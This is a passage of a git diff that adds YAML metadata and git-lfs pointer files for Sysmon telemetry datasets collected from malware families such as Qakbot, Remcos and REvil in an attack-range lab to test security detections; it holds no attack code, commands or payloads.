b/datasets/malware/notdoor/macro_security_level/windows-sysmon-516939cf-f62e-4574-93ba-c47730393df9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:77cf15b3359975a879ce8e890884d36728907abbbdc2f0be9b48e747ce1a1fd4 +size 1408 diff --git a/datasets/malware/notdoor/outlook_macro/notdoor_outlook_macro.yml b/datasets/malware/notdoor/outlook_macro/notdoor_outlook_macro.yml new file mode 100644 index 000000000..44bfb6b1c --- /dev/null +++ b/datasets/malware/notdoor/outlook_macro/notdoor_outlook_macro.yml @@ -0,0 +1,13 @@ +author: STRT +id: e7c91621-7872-4e77-b990-9cb11ac91717 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Outlook Macro Created + by Suspicious Process +environment: attack_range +directory: outlook_macro +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/notdoor/outlook_macro/windows-sysmon-e7c91621-7872-4e77-b990-9cb11ac91717.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/notdoor/outlook_macro/windows-sysmon-e7c91621-7872-4e77-b990-9cb11ac91717.log b/datasets/malware/notdoor/outlook_macro/windows-sysmon-e7c91621-7872-4e77-b990-9cb11ac91717.log new file mode 100644 index 000000000..031fda783 --- /dev/null +++ b/datasets/malware/notdoor/outlook_macro/windows-sysmon-e7c91621-7872-4e77-b990-9cb11ac91717.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b77d784369294d71581012bc729013271ca23ad5a39f7509676ba9bd12e75094 +size 1376 diff --git a/datasets/malware/olympic_destroyer/malware_olympic_destroyer.yml b/datasets/malware/olympic_destroyer/malware_olympic_destroyer.yml new file mode 100644 index 000000000..52b4d9443 --- /dev/null +++ b/datasets/malware/olympic_destroyer/malware_olympic_destroyer.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9e1ad605-48cf-4b7d-bff0-2f0e84fc8809 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process With NamedPipe + CommandLine +environment: attack_range +directory: olympic_destroyer +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/olympic_destroyer/sysmon-9e1ad605-48cf-4b7d-bff0-2f0e84fc8809.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/olympic_destroyer/sysmon-9e1ad605-48cf-4b7d-bff0-2f0e84fc8809.log b/datasets/malware/olympic_destroyer/sysmon-9e1ad605-48cf-4b7d-bff0-2f0e84fc8809.log new file mode 100644 index 000000000..48df62b16 --- /dev/null +++ b/datasets/malware/olympic_destroyer/sysmon-9e1ad605-48cf-4b7d-bff0-2f0e84fc8809.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:702f00df4357d2e6526b698a3ae287991a1d9c354ab88721b3da909c533f9775 +size 3690 diff --git a/datasets/malware/prestige_ransomware/malware_prestige_ransomware.yml b/datasets/malware/prestige_ransomware/malware_prestige_ransomware.yml new file mode 100644 index 000000000..5023a62ea --- /dev/null +++ b/datasets/malware/prestige_ransomware/malware_prestige_ransomware.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1ee9cfc4-6378-457b-99e3-21046b6f20f0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Change File Association + Command To Notepad +environment: attack_range +directory: prestige_ransomware +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/prestige_ransomware/sysmon-1ee9cfc4-6378-457b-99e3-21046b6f20f0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/prestige_ransomware/sysmon-1ee9cfc4-6378-457b-99e3-21046b6f20f0.log b/datasets/malware/prestige_ransomware/sysmon-1ee9cfc4-6378-457b-99e3-21046b6f20f0.log new file mode 100644 index 000000000..cd7f47c1d --- /dev/null +++ b/datasets/malware/prestige_ransomware/sysmon-1ee9cfc4-6378-457b-99e3-21046b6f20f0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:087ffbb00a8b3c5619e2cb0a2b5370e9b1d9ed8ba39afe75a0976353b4cc5390 +size 1856 diff --git a/datasets/malware/qakbot/malware_qakbot.yml b/datasets/malware/qakbot/malware_qakbot.yml new file mode 100644 index 000000000..f2042ef20 --- /dev/null +++ b/datasets/malware/qakbot/malware_qakbot.yml @@ -0,0 +1,13 @@ +author: STRT +id: c290a545-67ae-47ea-9db1-ca5cef6d74f0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows App Layer Protocol + Qakbot NamedPipe +environment: attack_range +directory: qakbot +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/qakbot/sysmon-c290a545-67ae-47ea-9db1-ca5cef6d74f0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/qakbot/qbot2/qakbot_qbot2.yml b/datasets/malware/qakbot/qbot2/qakbot_qbot2.yml new file mode 100644 index 000000000..82a51055b --- /dev/null +++ b/datasets/malware/qakbot/qbot2/qakbot_qbot2.yml @@ -0,0 +1,13 @@ +author: STRT +id: a31e8b88-9487-45b1-a275-d0dd614e11a6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows DLL Side-Loading + In Calc +environment: attack_range +directory: qbot2 +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/qakbot/qbot2/sysmon-a31e8b88-9487-45b1-a275-d0dd614e11a6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/qakbot/qbot2/sysmon-a31e8b88-9487-45b1-a275-d0dd614e11a6.log b/datasets/malware/qakbot/qbot2/sysmon-a31e8b88-9487-45b1-a275-d0dd614e11a6.log new file mode 100644 index 000000000..e7230ddad --- /dev/null +++ b/datasets/malware/qakbot/qbot2/sysmon-a31e8b88-9487-45b1-a275-d0dd614e11a6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:51be351268f26fae8e721eed04c60d3755bae7a653bc91a963b94dfb0e97a82b +size 10781 diff --git a/datasets/malware/qakbot/qbot_3/qakbot_qbot_3.yml b/datasets/malware/qakbot/qbot_3/qakbot_qbot_3.yml new file mode 100644 index 000000000..3b5133001 --- /dev/null +++ b/datasets/malware/qakbot/qbot_3/qakbot_qbot_3.yml @@ -0,0 +1,13 @@ +author: STRT +id: c8698afc-4c1f-4531-9f6d-d873aa4678a6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Regsvr32 Renamed + Binary +environment: attack_range +directory: qbot_3 +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/qakbot/qbot_3/sysmon-c8698afc-4c1f-4531-9f6d-d873aa4678a6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/qakbot/qbot_3/sysmon-c8698afc-4c1f-4531-9f6d-d873aa4678a6.log b/datasets/malware/qakbot/qbot_3/sysmon-c8698afc-4c1f-4531-9f6d-d873aa4678a6.log new file mode 100644 index 000000000..26741216f --- /dev/null +++ b/datasets/malware/qakbot/qbot_3/sysmon-c8698afc-4c1f-4531-9f6d-d873aa4678a6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:62407e19b25433bfb065ff319337956d3e5303792ea501c3bf8adfda5f62e307 +size 3618 diff --git a/datasets/malware/qakbot/qbot_wermgr/qakbot_qbot_wermgr.yml b/datasets/malware/qakbot/qbot_wermgr/qakbot_qbot_wermgr.yml new file mode 100644 index 000000000..a201f4c44 --- /dev/null +++ b/datasets/malware/qakbot/qbot_wermgr/qakbot_qbot_wermgr.yml @@ -0,0 +1,13 @@ +author: STRT +id: f69e9f8d-7405-4d4f-9356-adb689adebcc +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process Injection + Wermgr Child Process +environment: attack_range +directory: qbot_wermgr +mitre_technique: [] +datasets: +- name: sysmon_wermgr + path: /datasets/malware/qakbot/qbot_wermgr/sysmon_wermgr-f69e9f8d-7405-4d4f-9356-adb689adebcc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/qakbot/qbot_wermgr/sysmon_wermgr-f69e9f8d-7405-4d4f-9356-adb689adebcc.log b/datasets/malware/qakbot/qbot_wermgr/sysmon_wermgr-f69e9f8d-7405-4d4f-9356-adb689adebcc.log new file mode 100644 index 000000000..63775c87c --- /dev/null +++ b/datasets/malware/qakbot/qbot_wermgr/sysmon_wermgr-f69e9f8d-7405-4d4f-9356-adb689adebcc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4e978e417564b50038d79d70e49eb9efc7e82e07a46ab8e908efcde1de60e404 +size 40510341 diff --git a/datasets/malware/qakbot/qbot_wermgr2/qakbot_qbot_wermgr2.yml b/datasets/malware/qakbot/qbot_wermgr2/qakbot_qbot_wermgr2.yml new file mode 100644 index 000000000..31d1436d4 --- /dev/null +++ b/datasets/malware/qakbot/qbot_wermgr2/qakbot_qbot_wermgr2.yml @@ -0,0 +1,13 @@ +author: STRT +id: b784270a-20a3-4ee9-8fe4-f4b9081ba781 +date: '2026-07-11' +description: Curated attack data generated for detection Windows App Layer Protocol + Wermgr Connect To NamedPipe +environment: attack_range +directory: qbot_wermgr2 +mitre_technique: [] +datasets: +- name: sysmon_wermgr2 + path: /datasets/malware/qakbot/qbot_wermgr2/sysmon_wermgr2-b784270a-20a3-4ee9-8fe4-f4b9081ba781.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/qakbot/qbot_wermgr2/sysmon_wermgr2-b784270a-20a3-4ee9-8fe4-f4b9081ba781.log b/datasets/malware/qakbot/qbot_wermgr2/sysmon_wermgr2-b784270a-20a3-4ee9-8fe4-f4b9081ba781.log new file mode 100644 index 000000000..eb32b2f1e --- /dev/null +++ b/datasets/malware/qakbot/qbot_wermgr2/sysmon_wermgr2-b784270a-20a3-4ee9-8fe4-f4b9081ba781.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9cf121568afe2272ff106d26d8d613b779b493889a63a5b351fcfe1c56a9e43c +size 11058 diff --git a/datasets/malware/qakbot/remote_thread/qakbot_remote_thread.yml b/datasets/malware/qakbot/remote_thread/qakbot_remote_thread.yml new file mode 100644 index 000000000..50bf3234d --- /dev/null +++ b/datasets/malware/qakbot/remote_thread/qakbot_remote_thread.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8d0a9ff3-1f55-4477-882f-c20cc85ea16b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Uncommon Remote Thread + Creation In Browser Process +environment: attack_range +directory: remote_thread +mitre_technique: [] +datasets: +- name: sysmon_wermgr_remote + path: /datasets/malware/qakbot/remote_thread/sysmon_wermgr_remote-8d0a9ff3-1f55-4477-882f-c20cc85ea16b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/qakbot/remote_thread/sysmon_wermgr_remote-8d0a9ff3-1f55-4477-882f-c20cc85ea16b.log b/datasets/malware/qakbot/remote_thread/sysmon_wermgr_remote-8d0a9ff3-1f55-4477-882f-c20cc85ea16b.log new file mode 100644 index 000000000..34c77a7d5 --- /dev/null +++ b/datasets/malware/qakbot/remote_thread/sysmon_wermgr_remote-8d0a9ff3-1f55-4477-882f-c20cc85ea16b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:abf6b2f5ed5830d97425801a020f8da98945353fb1a44c49ae7f38328e1a6b4b +size 58524 diff --git a/datasets/malware/qakbot/sysmon-c290a545-67ae-47ea-9db1-ca5cef6d74f0.log b/datasets/malware/qakbot/sysmon-c290a545-67ae-47ea-9db1-ca5cef6d74f0.log new file mode 100644 index 000000000..ecdad9872 --- /dev/null +++ b/datasets/malware/qakbot/sysmon-c290a545-67ae-47ea-9db1-ca5cef6d74f0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:db1b787bb4d0c3ac4a835dea3e05250c084e32f1ceab8867ecc9ade65d21860f +size 3872 diff --git a/datasets/malware/ransomware_ttp/data1/ransomware_ttp_data1.yml b/datasets/malware/ransomware_ttp/data1/ransomware_ttp_data1.yml new file mode 100644 index 000000000..da790acce --- /dev/null +++ b/datasets/malware/ransomware_ttp/data1/ransomware_ttp_data1.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8c6bea2e-8a8a-4e79-9239-4851c04b93eb +date: '2026-07-11' +description: Curated attack data generated for detection Allow Operation with Consent + Admin +environment: attack_range +directory: data1 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/ransomware_ttp/data1/windows-sysmon-8c6bea2e-8a8a-4e79-9239-4851c04b93eb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/ransomware_ttp/data1/windows-sysmon-8c6bea2e-8a8a-4e79-9239-4851c04b93eb.log b/datasets/malware/ransomware_ttp/data1/windows-sysmon-8c6bea2e-8a8a-4e79-9239-4851c04b93eb.log new file mode 100644 index 000000000..70c684071 --- /dev/null +++ b/datasets/malware/ransomware_ttp/data1/windows-sysmon-8c6bea2e-8a8a-4e79-9239-4851c04b93eb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7aa3c65e704c83ab225ab624a065f3da0853009eb2ea558364d86254c3627223 +size 1045 diff --git a/datasets/malware/ransomware_ttp/data2/ransomware_ttp_data2.yml b/datasets/malware/ransomware_ttp/data2/ransomware_ttp_data2.yml new file mode 100644 index 000000000..d802395d1 --- /dev/null +++ b/datasets/malware/ransomware_ttp/data2/ransomware_ttp_data2.yml @@ -0,0 +1,13 @@ +author: STRT +id: a55fe01c-53de-400e-b2fa-129535530612 +date: '2026-07-10' +description: Curated attack data generated for detection Allow File And Printing Sharing + In Firewall +environment: attack_range +directory: data2 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/ransomware_ttp/data2/windows-sysmon-a55fe01c-53de-400e-b2fa-129535530612.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/ransomware_ttp/data2/windows-sysmon-a55fe01c-53de-400e-b2fa-129535530612.log b/datasets/malware/ransomware_ttp/data2/windows-sysmon-a55fe01c-53de-400e-b2fa-129535530612.log new file mode 100644 index 000000000..4a536a395 --- /dev/null +++ b/datasets/malware/ransomware_ttp/data2/windows-sysmon-a55fe01c-53de-400e-b2fa-129535530612.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:904059f1619a2b73adb00084858a2e50274c37240fbe6d3367b4086d4885e8a8 +size 4008 diff --git a/datasets/malware/redline/modify_registry/redline_modify_registry.yml b/datasets/malware/redline/modify_registry/redline_modify_registry.yml new file mode 100644 index 000000000..8acd1a69e --- /dev/null +++ b/datasets/malware/redline/modify_registry/redline_modify_registry.yml @@ -0,0 +1,13 @@ +author: STRT +id: ecc0435b-3b45-4149-a54b-6b94e69bb5d6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry Auto + Minor Updates +environment: attack_range +directory: modify_registry +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/redline/modify_registry/sysmon-ecc0435b-3b45-4149-a54b-6b94e69bb5d6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/redline/modify_registry/sysmon-ecc0435b-3b45-4149-a54b-6b94e69bb5d6.log b/datasets/malware/redline/modify_registry/sysmon-ecc0435b-3b45-4149-a54b-6b94e69bb5d6.log new file mode 100644 index 000000000..3916afce8 --- /dev/null +++ b/datasets/malware/redline/modify_registry/sysmon-ecc0435b-3b45-4149-a54b-6b94e69bb5d6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25eed110003bb61d918387e970878bd6fe5067efdf096a43b2ae05fa7dd557 +size 3177 diff --git a/datasets/malware/redline/win_update_services_stop/redline_win_update_services_stop.yml b/datasets/malware/redline/win_update_services_stop/redline_win_update_services_stop.yml new file mode 100644 index 000000000..4eaa0a7c3 --- /dev/null +++ b/datasets/malware/redline/win_update_services_stop/redline_win_update_services_stop.yml @@ -0,0 +1,13 @@ +author: STRT +id: 748804b2-7f26-4040-9530-03599a04d108 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Service Stop Win + Updates +environment: attack_range +directory: win_update_services_stop +mitre_technique: [] +datasets: +- name: system + path: /datasets/malware/redline/win_update_services_stop/system-748804b2-7f26-4040-9530-03599a04d108.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/malware/redline/win_update_services_stop/system-748804b2-7f26-4040-9530-03599a04d108.log b/datasets/malware/redline/win_update_services_stop/system-748804b2-7f26-4040-9530-03599a04d108.log new file mode 100644 index 000000000..dc937582a --- /dev/null +++ b/datasets/malware/redline/win_update_services_stop/system-748804b2-7f26-4040-9530-03599a04d108.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1c11f7025e4eb512f390955a53a5e3b1475f77dd2d3a403409bee68ba93ba498 +size 2447 diff --git a/datasets/malware/remcos/remcos/remcos_remcos.yml b/datasets/malware/remcos/remcos/remcos_remcos.yml new file mode 100644 index 000000000..cadec00d7 --- /dev/null +++ b/datasets/malware/remcos/remcos/remcos_remcos.yml @@ -0,0 +1,13 @@ +author: STRT +id: d18050a2-42e6-48b8-9326-0dfb64e8d812 +date: '2026-07-11' +description: Curated attack data generated for detection Malicious InProcServer32 + Modification +environment: attack_range +directory: remcos +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/remcos/remcos/windows-sysmon-d18050a2-42e6-48b8-9326-0dfb64e8d812.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/remcos/remcos/windows-sysmon-d18050a2-42e6-48b8-9326-0dfb64e8d812.log b/datasets/malware/remcos/remcos/windows-sysmon-d18050a2-42e6-48b8-9326-0dfb64e8d812.log new file mode 100644 index 000000000..310b12507 --- /dev/null +++ b/datasets/malware/remcos/remcos/windows-sysmon-d18050a2-42e6-48b8-9326-0dfb64e8d812.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:455dcb774f18ae9c3ecc84a493e95812123ab3f26aa41fc5a04258c94ec63730 +size 23465 diff --git a/datasets/malware/remcos/remcos_agent/remcos_remcos_agent.yml b/datasets/malware/remcos/remcos_agent/remcos_remcos_agent.yml new file mode 100644 index 000000000..ab98e0644 --- /dev/null +++ b/datasets/malware/remcos/remcos_agent/remcos_remcos_agent.yml @@ -0,0 +1,17 @@ +author: STRT +id: e176c024-c3ba-4049-84f6-d916565beb90 +date: '2026-07-11' +description: Curated attack data generated for detection Remcos RAT File Creation + in Remcos Folder +environment: attack_range +directory: remcos_agent +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/remcos/remcos_agent/sysmon-e176c024-c3ba-4049-84f6-d916565beb90.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: sysmon_wav + path: /datasets/malware/remcos/remcos_agent/sysmon_wav-e176c024-c3ba-4049-84f6-d916565beb90.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/remcos/remcos_agent/sysmon-e176c024-c3ba-4049-84f6-d916565beb90.log b/datasets/malware/remcos/remcos_agent/sysmon-e176c024-c3ba-4049-84f6-d916565beb90.log new file mode 100644 index 000000000..93b252b6b --- /dev/null +++ b/datasets/malware/remcos/remcos_agent/sysmon-e176c024-c3ba-4049-84f6-d916565beb90.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8eb3b9ff5927394f756de8ee9863f48c851e0c4e61f88cf9cce05a1cf8f865e0 +size 23568 diff --git a/datasets/malware/remcos/remcos_agent/sysmon_wav-e176c024-c3ba-4049-84f6-d916565beb90.log b/datasets/malware/remcos/remcos_agent/sysmon_wav-e176c024-c3ba-4049-84f6-d916565beb90.log new file mode 100644 index 000000000..ba180217b --- /dev/null +++ b/datasets/malware/remcos/remcos_agent/sysmon_wav-e176c024-c3ba-4049-84f6-d916565beb90.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:55a56af2cef76c292fea8458dd7dd0bb0949d651d4bc00450875979152474e04 +size 54825 diff --git a/datasets/malware/remcos/remcos_dynwrapx/remcos_remcos_dynwrapx.yml b/datasets/malware/remcos/remcos_dynwrapx/remcos_remcos_dynwrapx.yml new file mode 100644 index 000000000..4712b969b --- /dev/null +++ b/datasets/malware/remcos/remcos_dynwrapx/remcos_remcos_dynwrapx.yml @@ -0,0 +1,12 @@ +author: STRT +id: 6ae0bd60-80b5-41d4-a73f-a3283326c72c +date: '2026-07-10' +description: Curated attack data generated for detection Loading Of Dynwrapx Module +environment: attack_range +directory: remcos_dynwrapx +mitre_technique: [] +datasets: +- name: sysmon_dynwraper + path: /datasets/malware/remcos/remcos_dynwrapx/sysmon_dynwraper-6ae0bd60-80b5-41d4-a73f-a3283326c72c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/remcos/remcos_dynwrapx/sysmon_dynwraper-6ae0bd60-80b5-41d4-a73f-a3283326c72c.log b/datasets/malware/remcos/remcos_dynwrapx/sysmon_dynwraper-6ae0bd60-80b5-41d4-a73f-a3283326c72c.log new file mode 100644 index 000000000..231e87b2a --- /dev/null +++ b/datasets/malware/remcos/remcos_dynwrapx/sysmon_dynwraper-6ae0bd60-80b5-41d4-a73f-a3283326c72c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cfc85c8a4fd666ed48deecc3e5b7f4e8892b3b3ed3c8d94c45b5d502f18db2ab +size 2889 diff --git a/datasets/malware/remcos/remcos_pastebin_download/remcos_remcos_pastebin_download.yml b/datasets/malware/remcos/remcos_pastebin_download/remcos_remcos_pastebin_download.yml new file mode 100644 index 000000000..1ee9a47d0 --- /dev/null +++ b/datasets/malware/remcos/remcos_pastebin_download/remcos_remcos_pastebin_download.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3536bc3d-9c71-4fa9-a9ec-4ce2eec126ff +date: '2026-07-13' +description: Curated attack data generated for detection Suspicious Process DNS Query + Known Abuse Web Services +environment: attack_range +directory: remcos_pastebin_download +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/remcos/remcos_pastebin_download/sysmon-3536bc3d-9c71-4fa9-a9ec-4ce2eec126ff.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/remcos/remcos_pastebin_download/sysmon-3536bc3d-9c71-4fa9-a9ec-4ce2eec126ff.log b/datasets/malware/remcos/remcos_pastebin_download/sysmon-3536bc3d-9c71-4fa9-a9ec-4ce2eec126ff.log new file mode 100644 index 000000000..de909a1a6 --- /dev/null +++ b/datasets/malware/remcos/remcos_pastebin_download/sysmon-3536bc3d-9c71-4fa9-a9ec-4ce2eec126ff.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4907570ee2b0ce48c55d6fafc5d396c9b4044c6071eb8e0a8aeda6b056997352 +size 5185 diff --git a/datasets/malware/remcos/remcos_registry/remcos_remcos_registry.yml b/datasets/malware/remcos/remcos_registry/remcos_remcos_registry.yml new file mode 100644 index 000000000..bc8ad6ab3 --- /dev/null +++ b/datasets/malware/remcos/remcos_registry/remcos_remcos_registry.yml @@ -0,0 +1,13 @@ +author: STRT +id: f53fc960-18d6-46f4-bf12-94b6fbed1027 +date: '2026-07-10' +description: Curated attack data generated for detection Remcos client registry install + entry +environment: attack_range +directory: remcos_registry +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/remcos/remcos_registry/sysmon-f53fc960-18d6-46f4-bf12-94b6fbed1027.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/remcos/remcos_registry/sysmon-f53fc960-18d6-46f4-bf12-94b6fbed1027.log b/datasets/malware/remcos/remcos_registry/sysmon-f53fc960-18d6-46f4-bf12-94b6fbed1027.log new file mode 100644 index 000000000..afc54179c --- /dev/null +++ b/datasets/malware/remcos/remcos_registry/sysmon-f53fc960-18d6-46f4-bf12-94b6fbed1027.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e81544fc04bf449a1b0dacb6077df3b6950de79414d7fa7599340ccfceaab13f +size 1083 diff --git a/datasets/malware/revil/inf1/revil_inf1.yml b/datasets/malware/revil/inf1/revil_inf1.yml new file mode 100644 index 000000000..1463fe906 --- /dev/null +++ b/datasets/malware/revil/inf1/revil_inf1.yml @@ -0,0 +1,12 @@ +author: STRT +id: 6650a72a-85aa-4cdc-a7c9-2f57a511eb5d +date: '2026-07-11' +description: Curated attack data generated for detection Modification Of Wallpaper +environment: attack_range +directory: inf1 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/revil/inf1/windows-sysmon-6650a72a-85aa-4cdc-a7c9-2f57a511eb5d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/revil/inf1/windows-sysmon-6650a72a-85aa-4cdc-a7c9-2f57a511eb5d.log b/datasets/malware/revil/inf1/windows-sysmon-6650a72a-85aa-4cdc-a7c9-2f57a511eb5d.log new file mode 100644 index 000000000..52286d163 --- /dev/null +++ b/datasets/malware/revil/inf1/windows-sysmon-6650a72a-85aa-4cdc-a7c9-2f57a511eb5d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5071b702148db790401f6978be2ec08f7553dd91ce0f59011b37eaf920561a22 +size 6098 diff --git a/datasets/malware/revil/inf2/revil_inf2.yml b/datasets/malware/revil/inf2/revil_inf2.yml new file mode 100644 index 000000000..7110708e7 --- /dev/null +++ b/datasets/malware/revil/inf2/revil_inf2.yml @@ -0,0 +1,12 @@ +author: STRT +id: 24276993-584d-4c62-a213-2719a752424f +date: '2026-07-11' +description: Curated attack data generated for detection Wbemprox COM Object Execution +environment: attack_range +directory: inf2 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/revil/inf2/windows-sysmon-24276993-584d-4c62-a213-2719a752424f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/revil/inf2/windows-sysmon-24276993-584d-4c62-a213-2719a752424f.log b/datasets/malware/revil/inf2/windows-sysmon-24276993-584d-4c62-a213-2719a752424f.log new file mode 100644 index 000000000..6939aca77 --- /dev/null +++ b/datasets/malware/revil/inf2/windows-sysmon-24276993-584d-4c62-a213-2719a752424f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ea74d624d8330f17b0b7d920c619db5e48d2f54feaa883096e63c6e0a53125ef +size 13395 diff --git a/datasets/malware/revil/msmpeng_side/revil_msmpeng_side.yml b/datasets/malware/revil/msmpeng_side/revil_msmpeng_side.yml new file mode 100644 index 000000000..f544d4967 --- /dev/null +++ b/datasets/malware/revil/msmpeng_side/revil_msmpeng_side.yml @@ -0,0 +1,13 @@ +author: STRT +id: fc3f0725-8b88-46f5-9c3f-ddec553f06e6 +date: '2026-07-10' +description: Curated attack data generated for detection Msmpeng Application DLL Side + Loading +environment: attack_range +directory: msmpeng_side +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/revil/msmpeng_side/windows-sysmon-fc3f0725-8b88-46f5-9c3f-ddec553f06e6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/revil/msmpeng_side/windows-sysmon-fc3f0725-8b88-46f5-9c3f-ddec553f06e6.log b/datasets/malware/revil/msmpeng_side/windows-sysmon-fc3f0725-8b88-46f5-9c3f-ddec553f06e6.log new file mode 100644 index 000000000..6dc8e1994 --- /dev/null +++ b/datasets/malware/revil/msmpeng_side/windows-sysmon-fc3f0725-8b88-46f5-9c3f-ddec553f06e6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a8704bce20fed1faebc503e705793862220de3970278d8dc86eb71e9a8d6118a +size 6346 diff --git a/datasets/malware/ryuk/malware_ryuk.yml b/datasets/malware/ryuk/malware_ryuk.yml new file mode 100644 index 000000000..5c082488d --- /dev/null +++ b/datasets/malware/ryuk/malware_ryuk.yml @@ -0,0 +1,12 @@ +author: STRT +id: a2401abe-a479-490c-8381-cca7c64e9c5f +date: '2026-07-11' +description: Curated attack data generated for detection Ryuk Test Files Detected +environment: attack_range +directory: ryuk +mitre_technique: [] +datasets: +- name: 